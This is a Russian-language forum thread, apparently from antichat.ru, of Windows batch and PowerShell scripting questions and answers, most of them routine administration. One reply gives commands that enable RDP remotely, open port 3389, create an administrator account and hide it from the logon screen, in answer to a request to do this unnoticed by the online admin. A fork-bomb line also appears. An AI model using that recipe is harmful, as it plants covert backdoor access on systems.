Хм, но все равно со скриптом не выгорает - не хочет вписывать следующие комманды в консоль общения с ФТП, тобишь
ftp>
и туда не вводит комманды :(
SpangeBoB
06.04.2009, 13:33
Из какой папки выполняется bat в такую папку и положет.Вот на клиенте выполняешь этот скрипт.
Итого создаем батник:
ftp -s:1.txt
Содержание 1.txt:
open mirror.yandex.ru
ftp
ftp
ascii
mget HEADER.txt
y
quit
Cthulchu
06.04.2009, 13:45
опана! все! замято! спасибище!!!)))) Фтп комманды в текстовике, отлично! супер! спасибки:)
---
важный лог, чтоб не забыть:
<Cthulchu|> не ставьте фряху на слабые машины в качестве серверов...
<Cthulchu|> работает стабильно, но раскошелится не выйдет...
* faker (fkn0wned@7B394CCC.9F15AC4B.78E3AED8.IP) Quit (Quit: )
<|Kazun|> Cthulchu|: нашел в Xp ,как имя стандартной папки поменять,в Vista способ не прокатывает =))
* piva_net is now known as trottle
<Cthulchu|> давай)
<Cthulchu|> как?)
<|Kazun|> через Resource Hacker отредактировать shell32.dll
<Cthulchu|> так, ты линку покажи с описанием. Я так понял, ты статью нашел?)
<|Kazun|> String Table - 1896 -1049
<|Kazun|> щас нагуглим,должно быть
<Cthulchu|> а, черт, а сделать так, что бы оно там вставляло не константу, а текущее время...
<Cthulchu|> так, чтоп... длл - это же исполнительный файл
<Cthulchu|> точнее - инструкция
<|Kazun|> http://www.askvg.com/customize-new-folder-and-new-shortcut-text-in-windows-xp/
<Cthulchu|> значит, наверное, можно туда вставить что-то типа %currentdate%
<|Kazun|> за одно и попробуешь =)
<Cthulchu|> ухты...
* D9D9_VAD9 (D9D9_VAD9@5F993A90.4A924853.7D292C5E.IP) has left #antichat
<Cthulchu|> клево!!!
<Cthulchu|> гыгы, первый коммент: "why are you using windows classic?"
<|Kazun|> а так кроме как имя папки остальные в реестре меняются
<ir0n> бб ребя
<Cthulchu|> бб
* nsl (s@mda-C05FA419.hsd1.ca.comcast.net) Quit (Quit: )
<|Kazun|> в Vista сдесь показал procmon =)
<|Kazun|> HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
<Cthulchu|> хм... а безопасно ли открывать рдп в мир.... но под паролем... есть там какая-то защита от ддоса? * ir0n (ir0n@C5814E4F.BC8E4FC6.CDAEB49D.IP) Quit (Quit: #antichat пощёл дрыхнуть)
<Cthulchu|> ну ты даешь... я на форуме пост оставлю, что бы не забыть завтра
<trottle> Люди, кто чуток рубица в аиркраке + ковпатти + пирит?
<|Kazun|> хм защита,локать аккаунт после неправельных попыток подбора
<|Kazun|> пусть себе долбится
<Cthulchu|> не аккаунт, а айпишник. аккаунт не надо локать, а то под ним могу я входить...
<trottle> У меня аиролиб базу из ковпатти уже часа 4 импортнуть пытается. ППЦ.
ЗЫ
SecureRDP - анти ддос рдп?)
---
))) нужный лог, не тереть. и тему тоже не тереть.
Доброго времени суток, такой вопрос:
Имеется VPN подключение, как его удалить средствами cmd.exe ? В инете нарыл только о том как его оттуда подключить (rasdial). Вообще проблема в том, что при запуске винды нужно удалить это подключение, мб его в реестре где-то можно присыпать?
jawbreaker
08.05.2009, 16:32
Что делает такой батник:
%0|%0?
SpangeBoB
11.05.2009, 12:52
Доброго времени суток, такой вопрос:
Имеется VPN подключение, как его удалить средствами cmd.exe ? В инете нарыл только о том как его оттуда подключить (rasdial). Вообще проблема в том, что при запуске винды нужно удалить это подключение, мб его в реестре где-то можно присыпать?
rasphone -r "имя подключения"
Что делает такой батник:
Цитата:
%0|%0
?
Ваши глупые шутки не уместны в этом разделе.
Как записать условие в bat'нике, чтобы при успешном выполнении команды "ping 10.0.0.10 -n 1" вывести, к примеру, YES, в противном случае NO?
SpangeBoB
19.05.2009, 12:28
Как записать условие в bat'нике, чтобы при успешном выполнении команды "ping 10.0.0.10 -n 1" вывести, к примеру, YES, в противном случае NO?
ping 10.0.0.10 -n 1 && echo YES || echo NO
Как через командную строку открыть рабочий стол удалённого компьютера?
SpangeBoB
31.05.2009, 11:28
Как через командную строку открыть рабочий стол удалённого компьютера?
mstsc /?
как проверить существуют ли файлы 123.exe и 321.exe в папке? если да, то закрыть программу. если нет - продолжить выполнение
---
и ещё вопрос: возможно ли зделать так, чтоб в конце выполнения замигала одна из 3 лампочек на клаве(ну или хоть все)) )??
Cthulchu
28.06.2009, 05:15
я бы попробовал переименовать и проверить еррорлевел, но спанч может что-то простое ответить =)
SpangeBoB
28.06.2009, 11:25
Примерно так:
@echo off
:Start
@(dir 1.txt >NUL && dir 2.txt > NUL) && (exit ) || echo "NO"
:ENd
GOTO Start
1.txt,2.txt-заменить на свой путь
exit - выполняется если оба файла существуют
echo "No" - если их нет,то выполняется бесконечно.
На powershell
while(1)
{
if ((test-path 123.exe,321.exe).count -eq 2)
{ break; }
else {
$shell = new-object -com WScript.Shell
$shell.SendKeys("{NUMLOCK}")
}
}
ага. работает. а что на счёт мигания лампочек? очень надо. ;)
Спанч, ТЗ вроде отличается ;)
@echo off
(dir 123.exe >NUL && dir 321.exe > NUL) && (exit )
SpangeBoB
28.06.2009, 12:20
Спанч, ТЗ вроде отличается ;)
@echo off
(dir 123.exe >NUL && dir 321.exe > NUL) && (exit )
Чем?
как проверить существуют ли файлы 123.exe и 321.exe в папке? если да, то закрыть программу. если нет - продолжить выполнение
Ну, ты циклишь проверку этих файлов, а нужно "продолжить выполнение". Продолжить выполнение программы, я так понимаю, а не продолжить выполнение проверки на существование файлов.
а можно с лампочками именно через bat файл? я потом его компилю в exe.. не хочется устанавливать С++ Builder ради такой програмки\\
SpangeBoB
28.06.2009, 12:36
как проверить существуют ли файлы 123.exe и 321.exe в папке? если да, то закрыть программу. если нет - продолжить выполнение
Ну, ты циклишь проверку этих файлов, а нужно "продолжить выполнение". Продолжить выполнение программы, я так понимаю, а не продолжить выполнение проверки на существование файлов.
Если файлы существуют происходит выход,нет выполняется бесконечно.Что не так?
с файлами я разобрался. спс.. теперь с лампочками помогите плз)
SpangeBoB
28.06.2009, 12:41
Включить также можно через vbscript,т.к он установлен везде по умолчанию то.
set WshShell = CreateObject("WScript.Shell")
WshShell.SendKeys "{NUMLOCK}"
Если выполнять из bat,то сделать:
echo set WshShell = CreateObject("WScript.Shell") >> 1.vbs
echo WshShell.SendKeys "{NUMLOCK}" >> 1.vbs
cscript 1.vbs
del 1.vbs
Список клавиш можно посмотреть на :
http://msdn.microsoft.com/en-us/library/8c6yea83(VS.85).aspx
И посылать через SendKeys
Огросное спасибо! разобрался.
как приостановить вополнение программы vbscript на определённое кол-во секунд?
SpangeBoB
28.06.2009, 13:20
http://msdn.microsoft.com/en-us/library/6t81adfd(VS.85).aspx
Спанч, мы с тобой по-разному поняли условие ТЗ. Поскольку отРок разобрался с этим, предлагаю вопрос закрыть.
как организовать поиск файла(ов) по всем локальным дискам
например:
findfile 123.txt
findfile *.txt
findfile 123.*
findfile *.*
Можно на WBScript/ За ответ буду очень благодарен!!!
SpangeBoB
09.07.2009, 00:59
dir /s X:\*.txt
Так же на powershell:
Get-ChildItem -Path C:\ -Filter *.txt -Recurse -ErrorAction silentlycontinue | ft fullname
Перебор по буквам можно организовать с помощью цикла for.
bat-ника чтобы вызвать BSoD.... не реально?
Cthulchu
16.07.2009, 01:24
можете увожаемые античатоцы почь с написанием bat-ника чтобы вызвать BSoD???
Встречная просьба:
Покиньте пожалуйста сей форум и возвращайтесь через три года.
Cthulchu я и несомневался что вы так ответете!!
SpangeBoB
16.08.2009, 18:39
Как через .batник открыть RDP(3389порт) и создать пользователя чтобы не задеть админа, который онлайн. Спасибо
http://technet.microsoft.com/en-us/library/cc778860(WS.10).aspx
reg /?
net user /?
PHOEN_i_X
11.09.2009, 01:07
Можно ли написать такой батник:
Поиск файлов больше 1mb и открытие в explorer'e
C:\Documents and Settings\name\Local Settings\Application Data\Opera\Opera_10.00\cache
PHOEN_i_X
11.09.2009, 01:23
Как через .batник открыть RDP(3389порт) и создать пользователя чтобы не задеть админа, который онлайн. Спасибо
Открыть порт
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1или
echo off
IF [%1]==[] ( ECHO Usage: %0 computername ) ELSE (
reg add "\\%1\HKLM\SYSTEM\CurrentControlSet\Control\Termina l Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "\\%1\HKLM\SYSTEM\CurrentControlSet\Services\Shared Access\Parameters\FirewallPolicy\DomainProfile\Glo ballyOpenPorts\List" /v "3389:TCP" /t REG_SZ /d "3389:TCP:LocalSubNet:Enabled:Remote Desktop" /f )
pauseСоздать юзера:
net user Name Pass /add
net localgroup Administrators Name /add
net localgroup "Remote Desktop Users" Name /add
net accounts /maxpwage:unlimited
exit*пасс может потребываться по политике безопасности сложный
Спрятать учетку из логона ХР:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v Admin /t REG_DWORD /d "00000000" /f Admin - имя учетки
SpangeBoB
11.09.2009, 09:29
Можно ли написать такой батник:
Поиск файлов больше 1mb и открытие в explorer'e
C:\Documents and Settings\name\Local Settings\Application Data\Opera\Opera_10.00\cache
Типо такого:
@echo off
for /R Путь %%i in ("*") do (
if %%~zi GTR 1048576 ( explorer %%~fi)
)
pause
Путь поменять на свое - C:,C:\Windows
И на powershell:
dir F:\ -rec | ? {$_.length -gt 1mb} | foreach {$_.fullname}
Почему срабатыва.т сразу оба условия ?
if EXIST "start.cmd" {
del cmd.bat
}
else {
start TEST.rar
}
SpangeBoB
05.10.2009, 20:02
Почему срабатыва.т сразу оба условия ?
if EXIST "start.cmd" {
del cmd.bat
}
else {
start TEST.rar
}
{} заменить на () ,а так все работает как надо.
Не удивляйся,но не сработало))Такое чувство,что он игнорирует условия...вообще.Просто выполняет команды...
SpangeBoB
05.10.2009, 22:37
Пропустил еще один момент:
if EXIST "start.cmd" (
del cmd.bat
) else (
start TEST.rar
)
Если прописать pause,то увидим ошибку ,поэтому после ) должно следовать else.
Не работает:(.Может,забыть вообще про элс? Проверка-то идёт )).А как замутить в цикле так,чтобы 50 файлов удалились на диске по шаблону или в конкретной папке без привлечения сторонних утилит ?
SpangeBoB
05.10.2009, 22:52
В конец скрипта добаить pause и вывод сюда приложить,что там за ошибка такая.
Использовать цикл for и с помощью del,findstr - составить регулярное выражение с шаблоном,внутри цикла так же производить подсчет.
Эм...а инкремент декремент тут есть как таковой? скок не парюсь не могу динамически файлы создавать:(.
set n = 1
:fuck
set n += 1
for /L %%i in (1,1,100) do (
echo > %n%.txt
goto:fuck
)
pause
Хотел создать цикл,который бы создал определённое количество файлов,но цикл походу вышел бесконечный,и переменная не подставляется...
SpangeBoB
05.10.2009, 23:19
Эм...а инкремент декремент тут есть как таковой? скок не парюсь не могу динамически файлы создавать:(.
Как таковой есть,но в цикле for ,оператор set /a не добавляет поэтому можно сделать примерно следущее:
@echo off
set /a a=1
for /F %%i in (file.txt) do (
call :result %%i
)
:result
if NOT "%1" == "" (
set /a a=%a%+1
mkdir %a%%1
)
файл file.txt содержит текст
a
b
c
d
в итоге создаются 4 папки
1a
2b
3c
4d
черт...а просто нельзя разве в фор прогнать счетчик например 1.тхт-100000.тхт насоздавать файлов ?Неужели всё так геморрно...30% понял написанного
Вышел из положения:
for /L %%i in (1,1,100) do (
fuck >> %%i.txt
)
pause
SpangeBoB
05.10.2009, 23:35
Решений масса,каждый решает как ему проще,мне так тебе так.Поэтому я не пишу не чего на batch,а использую powershell где все гораздо проще,элегантнее и понятней.
Эээ..а есть по пауершеллу книга или ещё что...что это вообще такое
SpangeBoB
05.10.2009, 23:54
Эээ..а есть по пауершеллу книга или ещё что...что это вообще такое
http://www.books.ru/shop/search?search_type=+&query=powershell&inw=1
В эл.виде есть Введение в Windows PowerShell,вторая только недавна была переведена,так что может через пару месяцев появится.
Здрасте. Подскажите пожалуйста как можно реализовать в bat сценарии копирование файлов по списку. Список представляет собой обычный txt файл.
SpangeBoB
16.01.2010, 17:51
Здрасте. Подскажите пожалуйста как можно реализовать в bat сценарии копирование файлов по списку. Список представляет собой обычный txt файл.
Примерно так:
@echo off
cd "путь где лежит список или файлы"
for /F %%i in (file.txt) do xcopy %%i "куда"
Если в пути есть русские имена добавить после @echo off строчку chcp 1251
как добавить слеши в путь?
в батнике написал
echo "" > %1
для очистки файла
но когда в %1 попадает путь с пробелами (например до раб. стола) - ничего не работает
SpangeBoB
24.01.2010, 18:36
как добавить слеши в путь?
в батнике написал
echo "" > %1
для очистки файла
но когда в %1 попадает путь с пробелами (например до раб. стола) - ничего не работает
В чем сложность взять "%1" в кавычки?
гг, бестолку
c:\Documents and Settings\deex\Рабочий стол>echo 1>"C:\Documents"
и на диске C появляется файл Documents
был бы в винде баш - ниче бы больше не надо было для счастья
SpangeBoB
25.01.2010, 10:08
гг, бестолку
c:\Documents and Settings\deex\Рабочий стол>echo 1>"C:\Documents"
и на диске C появляется файл Documents
был бы в винде баш - ниче бы больше не надо было для счастья
Как получает значение параметр %1?Еще в бат в верх добавить строчку chcp 1251.
PS.В Windows не какой bash не нужен ,когда есть Powershell.
как организовать поиск файла(ов) по всем локальным дискам
например:
findfile 123.txt
findfile *.txt
findfile 123.*
findfile *.*
Можно на WBScript/ За ответ буду очень благодарен!!!
Как получает значение параметр %1?Еще в бат в верх добавить строчку chcp 1251.
chcp 1251 не помогло
параметр батник получает, когда его вызывает shell винды с параметром test.bat %1
я сделал пункт в контекстном меню "очистить" и хочу очищать все текстовые файлы
как организовать поиск файла(ов) по всем локальным дискам
например:
findfile 123.txt
findfile *.txt
findfile 123.*
findfile *.*
Можно на WBScript/ За ответ буду очень благодарен!!!
у меня дежавю =) http://forum.antichat.ru/showpost.php?p=1375990&postcount=86
и ответ http://forum.antichat.ru/showpost.php?p=1375997&postcount=87
killer24
25.01.2010, 15:30
Как записать условие в bat'нике, чтобы при успешном выполнении команды "ping 10.0.0.10 -n 1" вывести, к примеру, YES, в противном случае NO????
SpangeBoB
25.01.2010, 16:25
chcp 1251 не помогло
параметр батник получает, когда его вызывает shell винды с параметром test.bat %1
я сделал пункт в контекстном меню "очистить" и хочу очищать все текстовые файлы
Взять в "%1" ( test.bat "%1")
SpangeBoB
25.01.2010, 16:26
Как записать условие в bat'нике, чтобы при успешном выполнении команды "ping 10.0.0.10 -n 1" вывести, к примеру, YES, в противном случае NO????
ping ya.ru -n 1 && echo "Yes" || echo "NO"
Взять в "%1" ( test.bat "%1")
проблема в том, что мне также нужен "инсталлятор":
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\Shell\empty]
@="--Очистить--"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\Shell\empty\ Command]
@="C:\\empty.bat %1"
а в нем уже есть двойные кавычки
SpangeBoB
25.01.2010, 17:58
проблема в том, что мне также нужен "инсталлятор":
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\Shell\empty]
@="--Очистить--"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\Shell\empty\ Command]
@="C:\\empty.bat %1"
а в нем уже есть двойные кавычки
В чем сей сакральный смысл,что мешает убрать кавычки и оставить только у "%1"?
demo_version
25.01.2010, 18:03
Need help!
У меня на компе появилась такая штука: черный экран а на нем надпись Antivirus Online говорят что ваш комп был проверен и обнаружелись вирусы, отправьте смс на номер, ну и там типа меняется алгоритм шифрования вируса
Никуда зайти не могу, смогла зайти только в безопасный режим с поддержкой командной строки.
Что я могу сделать в ней ? Что может помочь ? Может ли помочь просто удаление папки windows\temp ?
Могу ли я запустить проверку антивирусом ? стоит Нод32....
Конечно же мне посоветовали переустановить винодоус, но мне кажется что я могу не то сделать что-нибудь и удалить все нужные файлы =(
Заранее thanX!
++++++
Еще не получается увидеть список содержимых файлов в Program Files, пишет что не удается найти файл в системе, а остальные обычные папки открывает.
В чем сей сакральный смысл,что мешает убрать кавычки и оставить только у "%1"?
ща попробую, но в таком случае empty.bat нельзя положить в путь с пробелами
АПД
не, та же хрень
создается пустой файл Documents на диске С
SpangeBoB
25.01.2010, 18:43
Внутри бат прописать "%~1",в реестре test.bat "%1",работает не зависимо есть пробелы или нет.
не работает
батник лежит в корне C
chcp 1251
type nul > "%~1"
pause
запускаю на файле, лежащем на раб. столе
в консоли после nul почему-то появляется 1
c:\Documents and Settings\deex\Рабочий стол>type nul 1>"C:\Documents"
и в итоге создается C:\Documents
SpangeBoB
25.01.2010, 18:58
У меня все работает:
батник
@echo off
chcp 1251
echo . > "%~1"
В реестре создал:
[HKEY_CLASSES_ROOT\txtfile\shell\clear\command]
@="C:\\Program Files (x86)\\1.bat \"%1\""
спасибо! с двойными кавычками заработало
как в батнике составить условие?
если есть интернет, то...
если нет, то...
думал что-то типа сначала пропинговать, например, ВКонтакт.. и если пингуется, то инет есть... Но как само условие создать я незнаю(
SpangeBoB
16.02.2010, 12:58
как составить условие?
если есть интернет, то...
если нет, то...
думал что-то типа сначала пропинговать, например, ВКонтакт.. и если пингуется, то инет есть... Но как само условие создать я незнаю(
ping vkontakte.ru && echo "YES" || echo "NO"
как скрыть оптический диск из проводника?
это вообще возможно?
SpangeBoB
16.02.2010, 14:29
как скрыть оптический диск из проводника?
это вообще возможно?
http://technet.microsoft.com/en-us/library/cc751051.aspx
Control Which Drives Are Visible Throughout the System
If you need to, you can hide drives on a machine so they don't appear in My Computer, Explorer, or the open and save dialog boxes. You might do this (in conjunction with other access control measures like the "run only allowed applications" policy setting) to keep users from damaging their NT installations or installing unapproved software-hide the drives you don't want users to tamper with and they won't see them. (Actually, hidden drives are accessible through the File Manager and the NT command prompt. Solution? Turn those off with a policy.) This hiding occurs on a per-user basis, too, so you have fairly fine control over which volumes users can see.
Unlike every other value in this chapter, the value that controls drive hiding is actually a bit mask. HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\Explorer\NODRIVES is a REG_DWORD, which makes it 32 bits long. Since NT can only map 26 drives (A: through Z:), this mapping works out nicely. The upper six bits of the value are ignored; the remaining 26 bits map to each drive letter, with A: in the right-most position and Z: in the left-most, like this:
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Z Y X............C B A
To turn off drives A, B, C, and D, you'd end up with a mask value of "00000000000000000000001111"; to turn off all drives, just use all 1 bits in the mask. RegEdt32 makes it easy to add new DWORD values as bitmasks or to edit existing values as binary strings (see Chapter 5, Using RegEdt32, if you need more details), so adding this restriction is easy to do. There's one caveat: if your drive letters change-perhaps because you've added a new disk or removed an old one-your NODRIVES values will be off, and you may suddenly lose sight of a drive you wanted to keep visible.
опираясь на _http://winboost.narod.ru/optimize/win9x/desktop.htm#5 пишу
echo Windows Registry Editor Version 5.00>>1.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]>>1.reg
echo "NoDrives"=dword:00000032">>1.reg
regedit /s 1.reg
del 1.reg
диск F не прячется((
SpangeBoB
16.02.2010, 15:37
опираясь на _http://winboost.narod.ru/optimize/win9x/desktop.htm#5 пишу
диск F не прячется((
Правильно,вы читать же не хотите что написанно:
Если Вы не умеете работать с шестнадцатеричными числами, установите эти десятичные числа для скрытия диска(ов):
А тут получается,что hex 32 - dec 50,ну и ребут конечно.
Правильно,вы читать же не хотите что написанно:
А тут получается,что hex 32 - dec 50,ну и ребут конечно.
это я уже понял, но дело в том, что надо без ребута )
есть способ?)
Какая команда используется в CMD, для имитации браузера? Переходить на URL.
SpangeBoB
24.02.2010, 21:18
Какая команда используется в CMD, для имитации браузера? Переходить на URL.
start http:\\ya.ru
Kisakuku
26.02.2010, 16:23
Цикл вот такого плана выдирает из 1t.txt имена файлов:
for /F %%i in (1t.txt) do start D:\mencoder mf://D:\image\image.jpg-mf fps=1/%key% -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts abr:br=160 -srate 44100 -ofps 25 -audiofile %%i -o %%i.avi
Нужно, чтобы батник выдирал из 2t.txt числа, и подставлял их в key.
Числа должны иметь одинаковую позицию соответствовать с именами файлов.
Грубо говоря, если в 1t.txt строки вида
file1
file2
а в 2t.txt - вида
60
72
то в key должно подставиться 60 в первом проходе цикла, и 72 во втором.
Разжуйте плз, как это сделать?
SpangeBoB
26.02.2010, 20:43
Цикл вот такого плана выдирает из 1t.txt имена файлов:
for /F %%i in (1t.txt) do start D:\mencoder mf://D:\image\image.jpg-mf fps=1/%key% -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts abr:br=160 -srate 44100 -ofps 25 -audiofile %%i -o %%i.avi
Нужно, чтобы батник выдирал из 2t.txt числа, и подставлял их в key.
Числа должны иметь одинаковую позицию соответствовать с именами файлов.
Грубо говоря, если в 1t.txt строки вида
file1
file2
а в 2t.txt - вида
60
72
то в key должно подставиться 60 в первом проходе цикла, и 72 во втором.
Разжуйте плз, как это сделать?
На бат в силу его ущербности будет сложно сделать,поэтому объединить для начала файл,что все было в одном и уж потом разбирать через for.
Решение на PowerShell,гораздо легче и понятнее:
$ff = gc 1.txt
$sf=gc 2.txt
for ($i=0;$i -lt $a.length;$i++){& "D:\mencoder mf://D:\image\image.jpg-mf fps=1/$($b[$i]) -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts abr:br=160 -srate 44100 -ofps 25 -audiofile $($a[$i]) -o $($a[$i]).avi"}
Kisakuku
26.02.2010, 21:39
Поставил PowerShell, запустил. Поправил переменные ($ff должно было быть $a, $sf - $b)
Запустил. Выдало:
The term 'D:\soft\mencoder mf://D:\soft\dancing_banana.jpg -mf fps=1/60 -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameop
ts abr:br=160 -srate 44100 -ofps 25 -audiofile 02track.mp3 -o 02track.mp3.avi' is not recognized as the name of a cmdlet, function, scr
ipt file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again
Данные из файла подставились, отлично.
Убрал кавычки, mencoder запустился, но вместо самих переменных вылезли их обозначения, соответственно, корректно программа не смогла работать.
MEncoder Sherpya-SVN-r29851-4.2.5 (C) 2000-2009 MPlayer Team
mencoder.exe : Error parsing option on the command line: -o
At D:\soft\1.ps1:3 char:36
+ for ($i=0;$i -lt $ff.length;$i++){& <<<< D:\soft\mencoder.exe mf://D:\soft\dancing_banana.jpg -mf fps=1/$($sf[$i]) -ovc la
vc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts abr:br=160 -srate 44100 -ofps 25 -audiofile $($ff[$i]) -o $($ff[$i]).avi}
+ CategoryInfo : NotSpecified: (Error parsing o...ommand line: -o:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
SpangeBoB
26.02.2010, 22:08
Поставил PowerShell, запустил. Поправил переменные ($ff должно было быть $a, $sf - $b)
Запустил. Выдало:
Данные из файла подставились, отлично.
Убрал кавычки, mencoder запустился, но вместо самих переменных вылезли их обозначения, соответственно, корректно программа не смогла работать.
$ff = gc 1.txt
$sf=gc 2.txt
for ($i=0;$i -lt $ff.length;$i++){& "D:\soft\mencoder.exe" "mf://D:\image\image.jpg-mf fps=1/$($sf[$i]) -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts abr:br=160 -srate 44100 -ofps 25 -audiofile $($ff[$i]) -o $($ff[$i]).avi"}
Kisakuku
26.02.2010, 22:29
Неа. Та же проблема. (The term 'D:\ бла-бла-бла mp3.avi' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
Запускал на Powershell 2.0. Может стоит попробовать первый?
SpangeBoB
26.02.2010, 22:41
Неа. Та же проблема. (The term 'D:\ бла-бла-бла mp3.avi' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
Запускал на Powershell 2.0. Может стоит попробовать первый?
Скрин ошибки.
Kisakuku
26.02.2010, 22:50
спешу поделиться успехом. Разбил на составляющие - заработало.
$ff = gc D:\soft\1t.txt
$sf = gc D:\soft\2t.txt
for ($i=0;$i -lt $ff.length;$i++){
$l = "D:\soft\mencoder.exe"
$m = "mf://D:\soft\dancing_banana.jpg -mf fps=1/$($sf[$i]) -ovc lavc -lavcopts vcodec=mpeg4 -oac mp3lame -lameopts abr:br=160 -srate 44100 -ofps 25 -audiofile $($ff[$i]) -o $($ff[$i]).avi"
[diagnostics.process]::Start($l,$m)
}
Каким образом можно закрыть доступ к диску для ограниченной или гостевой учетной записи?
SpangeBoB
28.02.2010, 16:41
Каким образом можно закрыть доступ к диску для ограниченной или гостевой учетной записи?
cacls,icacls
Еще одна глупая проблема. Есть 3 языка и 3 раскаладки. Переключаются EN > DE > RU.
Как сделать чтобы переключалось EN > RU > DE?
SpangeBoB
01.03.2010, 00:18
Еще одна глупая проблема. Есть 3 языка и 3 раскаладки. Переключаются EN > DE > RU.
Как сделать чтобы переключалось EN > RU > DE?
Ну а причем тут скриптовой раздел?
Win+R-int.cpl-Keyboards and Languages-Change Keyboards и выставить с помощью стролечек приоритет.
Или
Win+R - rundll32.exe shell32.dll Control_RunDLL input.dll
Cthulchu
21.03.2010, 23:35
я сюда скину скриптик цмдшный красивый, просто чтобы был, матрица:
@echo off
setlocal enabledelayedexpansion
mode con cols=80 lines=25
title M A T R I X
set str=Call trans opt: received. 2-19-98 13:24:18 REC:Log
for /l %%a in (0,1,50) do (
cls
echo !str:~0,%%a!_
ping -n 1 -w 256 127.0.0.1 > nul
)
cls
echo %str%
ping -n 5 -w 1000 127.0.0.1 > nul
cls
color 02
:next
set scr=
for /l %%b in (0,1,78) do (
set /a rnd=!random!%%2
set scr=!scr!!rnd!
)
set /a r=%random%%%10
if %r%==0 color 0A
if %r%==1 color 02
echo %scr%
ping -n 1 -w 5000 127.0.0.1 > nul
goto next
ЗлойФармер
28.03.2010, 17:46
Сижу под админом, хочу запустить Opera с правами пользователя Guest1 (пользователь с ограниченными правами). Запускаю батник с содержинием
%windir%\System32\runas.exe /savecred /user:Guest1 "%ProgramFiles%\Opera\opera.exe"
появляется окно командной строки с предложением ввести пароль пользователя Guest1, но при попытке ввести пароль, в окне ничего не пропечатывается. Снимал пароль с учётки и на просьбе ввести пароль просто нажимал Enter, но опера не запускалась. В чём может быть дело и как исправить?
И заодно вопрос: если имя учётки гостя просто "Гость", то как это в батнике отобразить? Не кирилицей же писать?
Также хотел ограничить права простых учёток батником с содержанем
@ECHO OFF
%windir%\System32\XCACLS.vbs "%WINDIR%\PDLEDIT.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\REGEDIT.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\CACLS.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\CLIPBRD.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\NCADMIN.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\NTBACKUP.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\REGEDT32.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\RASADMIN.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\RDISK.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\SYSKEY.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\USRMGR.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\WINDISK.EXE"/G Administrators:F;F /Y
но при запуске появляется такое вот милое окошко
http://i058.radikal.ru/1003/51/17305629e25a.png
Как его запускать-то?
SpangeBoB
28.03.2010, 18:21
Сижу под админом, хочу запустить Opera с правами пользователя Guest1 (пользователь с ограниченными правами). Запускаю батник с содержинием
%windir%\System32\runas.exe /savecred /user:Guest1 "%ProgramFiles%\Opera\opera.exe"
появляется окно командной строки с предложением ввести пароль пользователя Guest1, но при попытке ввести пароль, в окне ничего не пропечатывается. Снимал пароль с учётки и на просьбе ввести пароль просто нажимал Enter, но опера не запускалась. В чём может быть дело и как исправить?
И заодно вопрос: если имя учётки гостя просто "Гость", то как это в батнике отобразить? Не кирилицей же писать?
Также хотел ограничить права простых учёток батником с содержанем
@ECHO OFF
%windir%\System32\XCACLS.vbs "%WINDIR%\PDLEDIT.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\REGEDIT.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\CACLS.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\CLIPBRD.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\NCADMIN.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\NTBACKUP.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\REGEDT32.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\RASADMIN.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\RDISK.EXE"/G Administrators:F;F /Y
%windir%\System32\XCACLS.vbs "%WINDIR%\SYSTEM32\SYSKEY.EXE"/G Administrators:F;F /Y
